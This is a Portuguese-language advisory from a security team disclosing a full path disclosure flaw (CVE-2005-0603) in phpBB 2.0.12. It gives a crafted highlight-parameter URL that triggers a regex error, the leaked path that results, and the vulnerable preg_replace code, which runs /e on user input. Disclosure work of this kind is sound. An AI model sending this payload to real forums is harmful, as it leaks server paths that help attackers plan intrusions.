
Exploit de prova de conceito para CVE-2005-0603, demonstrando uma vulnerabilidade de divulgação de caminho completo no phpBB 2.0.12 via uma regex manipulada no parâmetro highlight do viewtopic.php.
Programa: phpBB 2.0.12 Página inicial: http://www.phpbb.com Versões vulneráveis: phpBB 2.0.12 e versões anteriores Risco: Baixo!! Impacto: Divulgação de caminho completo
-==phpBB 2.0.12 Divulgação de caminho completo==-
phpBB é um pacote de fórum Open Source potente, totalmente escalável e altamente personalizável. O phpBB possui uma interface amigável, um painel de administração simples e direto e um FAQ útil. Baseado na poderosa linguagem de servidor PHP e na sua escolha de servidores de banco de dados MySQL, MS-SQL, PostgreSQL ou Access/ODBC, o phpBB é a solução comunitária gratuita ideal para todos os sites.
localhost e muitos fóruns
phpBB/viewtopic.php?p=6&highlight=[HaCkZaTaN]
Ele exibirá algo como isto.
Warning: Compilation failed: missing terminating ] for character class at offset 20 in /home/nst/forum/viewtopic.php(1110) : regexp code on line 1
Ele fornecerá uma divulgação de caminho completo e também uma coisa que notei é que os posts mudam, não aparece nada. Na variável HighLight
Aqui está o problema: -----[ Início do código vulnerável ] ------------------------------------
1106: if ($highlight_match)
1107: {
1108: // This was shamelessly 'borrowed' from volker at multiartstudio dot de
1109: // via php.net's annotated manual
1110: $message = str_replace('"', '"',
substr(preg_replace('#(>(((?>([^><]+|(?R)))*)<))#se', "preg_replace('#\b(" .
$highlight_match . ")\b#i', '<span style="color:#" . $theme['fontcolor3'] .
"">\\1', '\0')", '>' . $message . '<'), 1, -1)); 1111: }
-----[ Fim do código vulnerável ] ------------------------------------ Não copie as coisas, lol.
Ainda não xD
Ainda não xD
OK, outra coisa que notei foi no php.ini
magic_quotes_gpc = On magic_quotes_sybase = Off
você tem que ativar os dois
Descoberto por HaCkZaTaN [email protected]
[N]eo [S]ecurity [T]eam [NST]® - http://neossecurity.net/
Tem dúvidas? http://neossecurity.net/
Irc.InfoGroup.cl #neosecurityteam
Paisterist
T0wn3r
Heap
Nitrous
CrashCool
eL_mEsIaS
Makoki
E o meu povo colombiano